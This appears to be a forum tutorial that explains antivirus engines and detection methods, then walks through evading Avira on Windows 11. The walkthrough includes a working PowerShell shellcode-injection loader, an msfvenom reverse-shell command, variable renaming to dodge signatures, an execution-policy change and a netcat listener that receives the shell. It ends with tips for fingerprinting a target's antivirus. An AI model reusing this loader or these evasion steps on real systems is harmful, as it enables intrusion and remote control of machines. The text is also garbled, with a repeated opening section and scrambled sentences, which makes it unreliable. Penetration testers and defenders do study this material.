Table of contents:
Initially, antivirus software worked on the basis of signatures. The purpose of a signature is to uniquely identify a specific sample of malware. Signatures can vary in type and characteristics: from a simple file hash to a specific binary sequence match. As will be shown in the next section, antivirus software consists of various engines responsible for detecting and analyzing specific components of the running system.
Each antivirus engine often defines its own signature language. Thus, the same malware may be described by different signatures depending on the engine type. For example, it is possible to create two signatures for the same malware: one to detect a file on disk, and one to analyze its network interactions. The semantics of these signatures will be significantly different, since they are intended for different AV components. In 2014, a signature language called YARA was open-sourced , allowing researchers to use it to query the VirusTotal platform or to integrate their signatures into antivirus products. VirusTotal is a malware search engine that allows you to search for known samples or submit new ones for analysis using multiple antivirus engines.
Since signatures are written based on known threats, AVs were originally only able to detect known and documented malware. However, modern solutions, including Windows Defender , include a machine learning (ML) engine that is called upon when an unknown file is detected. Such engines can detect previously unknown threats. Since ML engines run in the cloud, they require a constant internet connection, which is not always possible on companies’ internal servers. In addition, the many engines that make up an AV should not put a heavy load on the system so as not to reduce its performance.
solutions have been developing in recent years To compensate for these limitations of AV, EDR (Endpoint Detection and Response) . EDR is responsible for generating telemetry on security events and sending it to a SIEM (Security Information and Event Management) system , which aggregates data from all hosts in the company. The SIEM then visualizes these events so that analysts can get a complete picture of a current or past attack.
While some EDR solutions include AV components, AV and EDR are not mutually exclusive—they complement each other to provide greater visibility and improved detection. Ultimately, the choice of solutions should be based on the organization’s internal network architecture and its current level of security.
Typically, an antivirus consists of the following components:
The file engine performs both scheduled and real-time scanning. During scheduled scanning, the engine goes through the entire file system, sending metadata or file contents to the signature engine. During real-time scanning, it monitors for new files and reacts to actions such as malware downloads. To monitor such events, it uses a special kernel-level mini-filter driver. Therefore, modern AV works in both user space and the kernel to cover the entire OS.
The memory engine analyzes the memory space of each process in real time, looking for known binary signatures or suspicious API calls that may indicate a memory injection.
The network engine monitors incoming and outgoing traffic through the network interface. If a signature matches, it can block the connection to the C2 (Command and Control) server.
Since malware often encrypts its code, AVs use disassembly or run the suspicious file in an emulator/sandbox to see its true behavior.
The disassembler converts machine code into assembler, restores the original program structure and identifies encoding/decoding procedures. The sandbox is an isolated environment where malware can be safely run. After unpacking and running in the emulator, the sample is analyzed for signatures.
Browser plugins allow you to access the contents of the browser sandbox to identify malicious scripts running in its context.
Machine learning engines are becoming an increasingly important part of antivirus software: they analyze unknown threats using cloud infrastructure and trained models.
We will consider the following detection methods:
The signature can be just a hash of the file or a set of binary patterns unique to a particular malware sample. Using only a hash is unreliable - changing one bit completely changes the hash.
Example:
Now let's calculate the SHA256 hash:
We change the last letter to a capital "T" and look at the binary form:
As you can see, the hash has completely changed, demonstrating the unreliability of a method based only on the hash.
To overcome this drawback, additional methods were introduced:
Disk-level evasion focuses on modifying malicious files physically located on the disk in an attempt to bypass the detection mechanisms of the antivirus engine analyzing the files.
However, given the maturity of modern antivirus file scanning engines, modern malware often tends to work in memory, which completely eliminates disk access and thus reduces the likelihood of detection.
Modern disk-level malware obfuscation can take many forms. One of the first methods to avoid detection was the use of packers .
Given the high cost of disk space and slow network speeds in the early years of the Internet, packers were originally designed to reduce the size of executable files.
Unlike modern compression techniques such as zip, packers create an executable file that is not only smaller in size, but also functionally equivalent, but with a completely new binary structure.
The resulting file has a new hash and, as a result, can effectively bypass older and more primitive antivirus scanners.
While some modern malware uses variations of this technique, using UPX and other popular packers alone is not enough to bypass modern antivirus solutions.
Obfuscators reorganize and mutate code in ways that make reverse engineering more difficult. This includes replacing instructions with semantically equivalent ones, inserting irrelevant instructions or "dead code", splitting or rearranging functions, and so on.
While this technique is primarily used by software developers to protect intellectual property, it is also somewhat effective against signature-based antivirus detection.
Modern obfuscators also have the ability to execute code in memory during execution, which further complicates detection by antivirus software.
Cryptographers cryptographically modify the executable code by adding a decryption stub that restores the original code when executed. This decryption occurs in memory, leaving only the encrypted code on disk.
Encryption has become the basis of modern malware as one of the most effective techniques for bypassing antivirus software.
Highly effective antivirus bypass requires a combination of all the above techniques in addition to other more advanced methods including anti-analysis, anti-debugging, virtual machine emulation detection, and so on .
In most cases, security software was developed for a legitimate purpose, such as copy protection, but can also be used to bypass antivirus detection.
Most of these techniques may seem simple at a high level, but in practice they can be quite complex.
For this reason, there are currently few actively supported free tools that provide an acceptable level of antivirus bypass.
stands out Among the commercially available tools, The Enigma Protector , which can be successfully used to bypass antivirus products.
There are several bypass techniques that do not write files to disk. Although I will briefly explain some of them. We will only cover the memory injection using PowerShell in detail , since the other methods require low-level programming in languages such as C/C++.
The first technique we will look at is , Injection Remote Process Memory which involves injecting a payload into another, valid (non-malware) executable (PE) file.
The most common way to implement this is to use the Windows API set.
First, the OpenProcess function is called to obtain a valid HANDLE (handle) to the target process that we have access to.
Once we have a HANDLE, we allocate memory in the context of that process using an API such as VirtualAllocEx .
After allocating memory in the remote process, we copy the malicious payload there using WriteProcessMemory .
Once the payload is successfully copied, it is typically executed in memory in a separate thread using the CreateRemoteThread API .
This sounds complicated, but next we'll look at a similar example where PowerShell will do the heavy lifting by implementing a similar but simplified attack on the local instance of powershell.exe.
Unlike regular DLL injection , which involves loading a malicious DLL from disk via the LoadLibrary API , the Reflective DLL Injection technique involves loading a DLL stored in the memory of a process controlled by the attacker.
The main difficulty in implementing this technique is that LoadLibrary does not support loading DLLs from memory. Moreover, the Windows operating system does not provide any API that can do this.
Attackers who choose this technique must write their own implementation of a similar function that does not depend on the disk DLL.
The third technique worth mentioning is Process Hollowing . When using Process Hollowing to bypass antiviruses, the attacker first starts a legitimate process in a suspended state. Then, the original content (image) of the process in memory is deleted and replaced with a malicious executable image . The process is then resumed and executes the malicious code instead of the legitimate one.
Finally, Inline Hooking — as the name suggests — involves modifying memory and injecting a hook (an instruction that redirects code execution) into a function so that it starts executing malicious code. After our malicious code is executed, control returns to the modified function and continues, creating the illusion that only the original code was executed.
Hooking is a technique often used by rootkits , stealthier forms of malware. The goal of rootkits is to provide the malware author with hidden and persistent access to the victim's system by modifying system components in the user space, kernel , or even lower OS security layers such as the boot sector or hypervisor . Since rootkits require administrative privileges to install hooks, they are usually deployed from an elevated shell or by exploiting privilege escalation vulnerabilities.
Finding a universal solution to bypass all antivirus products is a difficult and time-consuming task, if not impossible. Given the limited time in a typical pentest, it is much more effective to target the specific antivirus product used in the target network.
We will interact with Avira Free Security on a client machine with Windows 11.
We can check if Real-Time Protection is enabled and enable it manually if necessary.
The first step in testing an antivirus product is to make sure that the antivirus works properly. We will use the Metasploit payload.
After transferring the malicious PE file to our Windows client, we almost immediately receive a warning about the malicious content of the downloaded file. In this case, an error message appears indicating that our file has been blocked.
Avira displays a pop-up notification informing you that the file has been marked as malicious and quarantined.
Depending on how restricted the target environment is, we can try to bypass the antivirus using PowerShell .
In the following example, we will use a remote process memory injection technique the similar to one we learned in the previous section. The main difference is that this time we will target the currently running process , which in our case is the PowerShell x86 interpreter .
A very powerful feature of PowerShell is its ability to interact with the Windows API . This allows us to implement the memory injection process as a PowerShell script. One of the main advantages of running a script rather than a PE file is that it is difficult for antivirus developers to determine whether the script is malicious, since it runs inside an interpreter and is not executable code itself. However, keep in mind that some antivirus products are better than others at detecting malicious scripts.³
Moreover, even if the script is marked as malicious, it can be easily changed. Antiviruses often analyze variable names, comments, and logic - all of which can be changed without the need for recompilation.
To demonstrate basic antivirus bypass, we will first analyze a well-known variant of a PowerShell memory injection script and then test it against Avira.
Below is a basic template for a script that performs memory injection.
The script starts by importing the VirtualAlloc and CreateThread functions from kernel32.dll, as well as memset , respectively from msvcrt.dll. These functions allow us to allocate memory , create a thread of execution , and write arbitrary data to the allocated memory .
Note that, as before, memory allocation and starting the new thread are performed in the current process (powershell.exe), not the remote one.
The main logic of the script starts by allocating a block of memory using VirtualAlloc, which takes each byte of the payload stored in the $sc byte array and writes it to our newly allocated block of memory using memset.
Learn more about generating payloads and evading AV signatures with Metasploit: Bypassing Antivirus with Metasploit
In the final step, our in-memory payload is executed in a separate thread using the CreateThread API.
payload is missing in our script, but we will generate it using msfvenom
To detect malicious scripts, antivirus software vendors often use static data - string signatures that refer to significant parts of the code, such as variables or function names.
To get around this detection logic, let's give the variables the previous scenario had more general names.
After Avira scans our script on our Windows 11 computer, it indicates that our script is not malicious.
Let's run bypass.ps1 and analyze the output
A quick Google search said that to run a script you need to set the execution policy for the user:
In such cases, it may be necessary to look for additional workarounds.
Next, we open the listener on the port and launch the malware.
In addition, if EDR systems are implemented correctly and work in conjunction with a competent security operations center (SOC) , they can simply silently notify the SOC team , which will render the attack useless within a few minutes.
- How Antivirus Works and How to Bypass It: Antivirus Testing and Vulnerability Analysis
- Antivirus architecture
- Malware Detection Methods
- Bypassing antivirus on disk
- Bypass antivirus in memory
- Practical case: bypassing antivirus via Thread Injection
Antivirus (AV): testing antivirus in action
Antivirus (AV) is software for detecting, preventing and removing hidden threats and cyber threats. Today, AV solutions go beyond simple scanning to include vulnerability analysis, malicious behavior emulation and responding to non-standard threats within the framework of information security. Initially, it was developed exclusively for removing computer viruses. However, with the development of new types of malware, such as bots and ransomware, modern antivirus software usually includes additional protection mechanisms, such as IDS/IPS (intrusion detection/prevention systems), firewalls, website scanners and more.Initially, antivirus software worked on the basis of signatures. The purpose of a signature is to uniquely identify a specific sample of malware. Signatures can vary in type and characteristics: from a simple file hash to a specific binary sequence match. As will be shown in the next section, antivirus software consists of various engines responsible for detecting and analyzing specific components of the running system.
Each antivirus engine often defines its own signature language. Thus, the same malware may be described by different signatures depending on the engine type. For example, it is possible to create two signatures for the same malware: one to detect a file on disk, and one to analyze its network interactions. The semantics of these signatures will be significantly different, since they are intended for different AV components. In 2014, a signature language called YARA was open-sourced , allowing researchers to use it to query the VirusTotal platform or to integrate their signatures into antivirus products. VirusTotal is a malware search engine that allows you to search for known samples or submit new ones for analysis using multiple antivirus engines.
Since signatures are written based on known threats, AVs were originally only able to detect known and documented malware. However, modern solutions, including Windows Defender , include a machine learning (ML) engine that is called upon when an unknown file is detected. Such engines can detect previously unknown threats. Since ML engines run in the cloud, they require a constant internet connection, which is not always possible on companies’ internal servers. In addition, the many engines that make up an AV should not put a heavy load on the system so as not to reduce its performance.
solutions have been developing in recent years To compensate for these limitations of AV, EDR (Endpoint Detection and Response) . EDR is responsible for generating telemetry on security events and sending it to a SIEM (Security Information and Event Management) system , which aggregates data from all hosts in the company. The SIEM then visualizes these events so that analysts can get a complete picture of a current or past attack.
While some EDR solutions include AV components, AV and EDR are not mutually exclusive—they complement each other to provide greater visibility and improved detection. Ultimately, the choice of solutions should be based on the organization’s internal network architecture and its current level of security.
Antivirus engines and components
The basis of modern antivirus software is signature updates that are downloaded from the supplier's database located on the Internet. These signatures are stored in a local database, which in turn is used by various internal engines.Typically, an antivirus consists of the following components:
- File Engine
- Memory Engine
- Network Engine
- Disassembler
- Emulator / Sandbox
- Browser Plugin
- Machine Learning Engine
The file engine performs both scheduled and real-time scanning. During scheduled scanning, the engine goes through the entire file system, sending metadata or file contents to the signature engine. During real-time scanning, it monitors for new files and reacts to actions such as malware downloads. To monitor such events, it uses a special kernel-level mini-filter driver. Therefore, modern AV works in both user space and the kernel to cover the entire OS.
The memory engine analyzes the memory space of each process in real time, looking for known binary signatures or suspicious API calls that may indicate a memory injection.
The network engine monitors incoming and outgoing traffic through the network interface. If a signature matches, it can block the connection to the C2 (Command and Control) server.
Since malware often encrypts its code, AVs use disassembly or run the suspicious file in an emulator/sandbox to see its true behavior.
The disassembler converts machine code into assembler, restores the original program structure and identifies encoding/decoding procedures. The sandbox is an isolated environment where malware can be safely run. After unpacking and running in the emulator, the sample is analyzed for signatures.
Browser plugins allow you to access the contents of the browser sandbox to identify malicious scripts running in its context.
Machine learning engines are becoming an increasingly important part of antivirus software: they analyze unknown threats using cloud infrastructure and trained models.
Detection methods
As mentioned, the syntax and purpose of signatures depend on the engine they are developed for, but they are all designed to uniquely identify malware.We will consider the following detection methods:
- Signature Based Detection
- Heuristic detection
- Behavioural detection
- Detection with Machine Learning
The signature can be just a hash of the file or a set of binary patterns unique to a particular malware sample. Using only a hash is unreliable - changing one bit completely changes the hash.
Example:
Bash:
kali@kali:~$ xxd -b malware.txt
00000000: 01100011 01101111 01100100 01100101 01100010 01111001 bfd
00000006: 00101110 01101110 01100101 01110100 00001010 .cash.
Now let's calculate the SHA256 hash:
Bash:
kali@kali:~$ sha256sum malware.txt
1c5f8c32592d62c754c75663dda7d7d752c3fe29aa8bcbfe8c4233755968c97b malware.txt
We change the last letter to a capital "T" and look at the binary form:
Bash:
kali@kali:~$ xxd -b malware.txt
00000000: 01100011 01101111 01100100 01100101 01100010 01111001 bfd
00000006: 00101110 01101110 01100101 01010100 00001010 .casH.
Code:
kali@kali:~$ sha256sum malware.txt
8c45146f592b7c250cbe0f90d68e0f61f7610a33ba013ffedea044fa1a0db30c malware.txt
As you can see, the hash has completely changed, demonstrating the unreliability of a method based only on the hash.
To overcome this drawback, additional methods were introduced:
Heuristic detection
This is a detection method that uses various rules and algorithms to determine whether an action is malicious. This is often achieved by stepping through a set of instructions in a binary file, or by attempting to disassemble the machine code and eventually decompile and analyze the source code to gain a more complete understanding of the program. The idea is to look for various patterns and program calls (as opposed to simple byte sequences) that are considered malicious.Behavioural detection
Dynamically analyzes the behavior of a binary. This is often accomplished by running the file in question in an emulated environment, such as a small virtual machine or sandbox, and looking for behavior or actions that are considered malicious.Detection with Machine Learning
Finally, machine learning detection aims to improve efficiency by implementing machine learning algorithms to identify unknown threats by collecting and analyzing additional metadata. For example, Microsoft Windows Defender has two machine learning components: a client-side machine learning engine that is responsible for creating machine learning models and heuristic algorithms, and a cloud-based machine learning engine that is able to analyze a submitted sample using a metadata-based model consisting of all submitted samples. If the client-side machine learning engine cannot determine whether a program is malicious, it requests a final answer from the cloud-based machine learning engine.Bypass antivirus detection
In general, antivirus detection bypass falls into two broad categories: on-disk and in-memory .Disk-level evasion focuses on modifying malicious files physically located on the disk in an attempt to bypass the detection mechanisms of the antivirus engine analyzing the files.
However, given the maturity of modern antivirus file scanning engines, modern malware often tends to work in memory, which completely eliminates disk access and thus reduces the likelihood of detection.
Disk level traversal
To begin our discussion of bypass, we will first look at the various techniques used to obfuscate files stored on a physical disk.Modern disk-level malware obfuscation can take many forms. One of the first methods to avoid detection was the use of packers .
Given the high cost of disk space and slow network speeds in the early years of the Internet, packers were originally designed to reduce the size of executable files.
Unlike modern compression techniques such as zip, packers create an executable file that is not only smaller in size, but also functionally equivalent, but with a completely new binary structure.
The resulting file has a new hash and, as a result, can effectively bypass older and more primitive antivirus scanners.
While some modern malware uses variations of this technique, using UPX and other popular packers alone is not enough to bypass modern antivirus solutions.
Obfuscators reorganize and mutate code in ways that make reverse engineering more difficult. This includes replacing instructions with semantically equivalent ones, inserting irrelevant instructions or "dead code", splitting or rearranging functions, and so on.
While this technique is primarily used by software developers to protect intellectual property, it is also somewhat effective against signature-based antivirus detection.
Modern obfuscators also have the ability to execute code in memory during execution, which further complicates detection by antivirus software.
Cryptographers cryptographically modify the executable code by adding a decryption stub that restores the original code when executed. This decryption occurs in memory, leaving only the encrypted code on disk.
Encryption has become the basis of modern malware as one of the most effective techniques for bypassing antivirus software.
Highly effective antivirus bypass requires a combination of all the above techniques in addition to other more advanced methods including anti-analysis, anti-debugging, virtual machine emulation detection, and so on .
In most cases, security software was developed for a legitimate purpose, such as copy protection, but can also be used to bypass antivirus detection.
Most of these techniques may seem simple at a high level, but in practice they can be quite complex.
For this reason, there are currently few actively supported free tools that provide an acceptable level of antivirus bypass.
stands out Among the commercially available tools, The Enigma Protector , which can be successfully used to bypass antivirus products.
Memory Walkthrough
PE In-Memory Injections, also known as injections , are a popular technique used to bypass antivirus products on Windows machines. Instead of obfuscating the malicious binary, creating new sections, or changing existing permissions, this technique focuses on manipulating the random access (temporary) memory. One of the main advantages of this technique is that it does not write any files to disk, which is what most antivirus products usually focus on.There are several bypass techniques that do not write files to disk. Although I will briefly explain some of them. We will only cover the memory injection using PowerShell in detail , since the other methods require low-level programming in languages such as C/C++.
The first technique we will look at is , Injection Remote Process Memory which involves injecting a payload into another, valid (non-malware) executable (PE) file.
The most common way to implement this is to use the Windows API set.
First, the OpenProcess function is called to obtain a valid HANDLE (handle) to the target process that we have access to.
Once we have a HANDLE, we allocate memory in the context of that process using an API such as VirtualAllocEx .
After allocating memory in the remote process, we copy the malicious payload there using WriteProcessMemory .
Once the payload is successfully copied, it is typically executed in memory in a separate thread using the CreateRemoteThread API .
This sounds complicated, but next we'll look at a similar example where PowerShell will do the heavy lifting by implementing a similar but simplified attack on the local instance of powershell.exe.
Unlike regular DLL injection , which involves loading a malicious DLL from disk via the LoadLibrary API , the Reflective DLL Injection technique involves loading a DLL stored in the memory of a process controlled by the attacker.
The main difficulty in implementing this technique is that LoadLibrary does not support loading DLLs from memory. Moreover, the Windows operating system does not provide any API that can do this.
Attackers who choose this technique must write their own implementation of a similar function that does not depend on the disk DLL.
The third technique worth mentioning is Process Hollowing . When using Process Hollowing to bypass antiviruses, the attacker first starts a legitimate process in a suspended state. Then, the original content (image) of the process in memory is deleted and replaced with a malicious executable image . The process is then resumed and executes the malicious code instead of the legitimate one.
Finally, Inline Hooking — as the name suggests — involves modifying memory and injecting a hook (an instruction that redirects code execution) into a function so that it starts executing malicious code. After our malicious code is executed, control returns to the modified function and continues, creating the illusion that only the original code was executed.
Hooking is a technique often used by rootkits , stealthier forms of malware. The goal of rootkits is to provide the malware author with hidden and persistent access to the victim's system by modifying system components in the user space, kernel , or even lower OS security layers such as the boot sector or hypervisor . Since rootkits require administrative privileges to install hooks, they are usually deployed from an elevated shell or by exploiting privilege escalation vulnerabilities.
Bypassing Antivirus with Thread Injection
Now that we have a general idea of the detection techniques used by antivirus software and the corresponding evasion methods, we can move on to a practical example.Finding a universal solution to bypass all antivirus products is a difficult and time-consuming task, if not impossible. Given the limited time in a typical pentest, it is much more effective to target the specific antivirus product used in the target network.
We will interact with Avira Free Security on a client machine with Windows 11.
We can check if Real-Time Protection is enabled and enable it manually if necessary.
was found in Avast For example, CVE‑2023‑1585/1587 : TOCTOU remote file deletion vulnerability allows escalation to SYSTEM
The first step in testing an antivirus product is to make sure that the antivirus works properly. We will use the Metasploit payload.
After transferring the malicious PE file to our Windows client, we almost immediately receive a warning about the malicious content of the downloaded file. In this case, an error message appears indicating that our file has been blocked.
Avira displays a pop-up notification informing you that the file has been marked as malicious and quarantined.
Antivirus products typically implement threat isolation by blocking any file system operations at the kernel level or by placing malicious samples in encrypted storage that only the antivirus software can access.
Depending on how restricted the target environment is, we can try to bypass the antivirus using PowerShell .
In the following example, we will use a remote process memory injection technique the similar to one we learned in the previous section. The main difference is that this time we will target the currently running process , which in our case is the PowerShell x86 interpreter .
A very powerful feature of PowerShell is its ability to interact with the Windows API . This allows us to implement the memory injection process as a PowerShell script. One of the main advantages of running a script rather than a PE file is that it is difficult for antivirus developers to determine whether the script is malicious, since it runs inside an interpreter and is not executable code itself. However, keep in mind that some antivirus products are better than others at detecting malicious scripts.³
Moreover, even if the script is marked as malicious, it can be easily changed. Antiviruses often analyze variable names, comments, and logic - all of which can be changed without the need for recompilation.
To demonstrate basic antivirus bypass, we will first analyze a well-known variant of a PowerShell memory injection script and then test it against Avira.
Below is a basic template for a script that performs memory injection.
Bash:
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[*] ];
[Byte[*] ]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset(IntPtr , $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
The script starts by importing the VirtualAlloc and CreateThread functions from kernel32.dll, as well as memset , respectively from msvcrt.dll. These functions allow us to allocate memory , create a thread of execution , and write arbitrary data to the allocated memory .
Note that, as before, memory allocation and starting the new thread are performed in the current process (powershell.exe), not the remote one.
Bash:
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
The main logic of the script starts by allocating a block of memory using VirtualAlloc, which takes each byte of the payload stored in the $sc byte array and writes it to our newly allocated block of memory using memset.
Bash:
[Byte[*] ]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset(IntPtr , $sc[$i], 1)};
Learn more about generating payloads and evading AV signatures with Metasploit: Bypassing Antivirus with Metasploit
In the final step, our in-memory payload is executed in a separate thread using the CreateThread API.
Bash:
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
payload is missing in our script, but we will generate it using msfvenom
Bash:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f powershell -v sc
To detect malicious scripts, antivirus software vendors often use static data - string signatures that refer to significant parts of the code, such as variables or function names.
To get around this detection logic, let's give the variables the previous scenario had more general names.
Bash:
$var2 = Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru;
[Byte[*] ];
[Byte[*] ] $var1 = 0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28
...
...
$size = 0x1000;
if ($var1.Length -gt 0x1000) {$size = $var1.Length};
$x = $var2::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($var1.Length-1);$i++) {$var2::memset(IntPtr , $var1[$i], 1)};
$var2::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
After Avira scans our script on our Windows 11 computer, it indicates that our script is not malicious.
Let's run bypass.ps1 and analyze the output
Bash:
PS C:\Users\shodam\Desktop> .\bypass.ps1
.\bypass.ps1 : File C:\Users\shodam\Desktop\bypass.ps1 cannot be loaded because running scripts is disabled on this
system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
.\bypass.ps1
+ CategoryInfo : SecurityError: (:) [*] , PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
A quick Google search said that to run a script you need to set the execution policy for the user:
Bash:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
As with many other Windows settings, PowerShell Execution Policy settings can be configured using one or more Active Directory Group Policy (GPOs).
In such cases, it may be necessary to look for additional workarounds.
Next, we open the listener on the port and launch the malware.
Bash:
root@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.50.1] from (UNKNOWN) [192.168.50.62] 64613
Microsoft Windows [Version 10.0.22000.675]
(c) Microsoft Corporation. All rights reserved.
C:\Users\shodam>
In addition, if EDR systems are implemented correctly and work in conjunction with a competent security operations center (SOC) , they can simply silently notify the SOC team , which will render the attack useless within a few minutes.
Recent examples show that ransomware families (like Faust/Phobos ) remain persistent threats as of 2022, infecting via Excel files and evading AV systems
If there is interest, I can write another article about bypassing, but based on SANS materials. I have long completed 2 courses with them and made many notes in obsidian.
I will also add to the articles:
Some organizations list an antivirus product in the email footer for all outgoing messages that scans file attachments, letting recipients know which product the organization relies on. Alternatively, for organizations that don't have such email footers, we could use the DNS cache tracking method. Searching for cached records related to antivirus updates on target DNS servers. And there is another way, but I'll cover that in a future article.
I will also add to the articles:
Some organizations list an antivirus product in the email footer for all outgoing messages that scans file attachments, letting recipients know which product the organization relies on. Alternatively, for organizations that don't have such email footers, we could use the DNS cache tracking method. Searching for cached records related to antivirus updates on target DNS servers. And there is another way, but I'll cover that in a future article.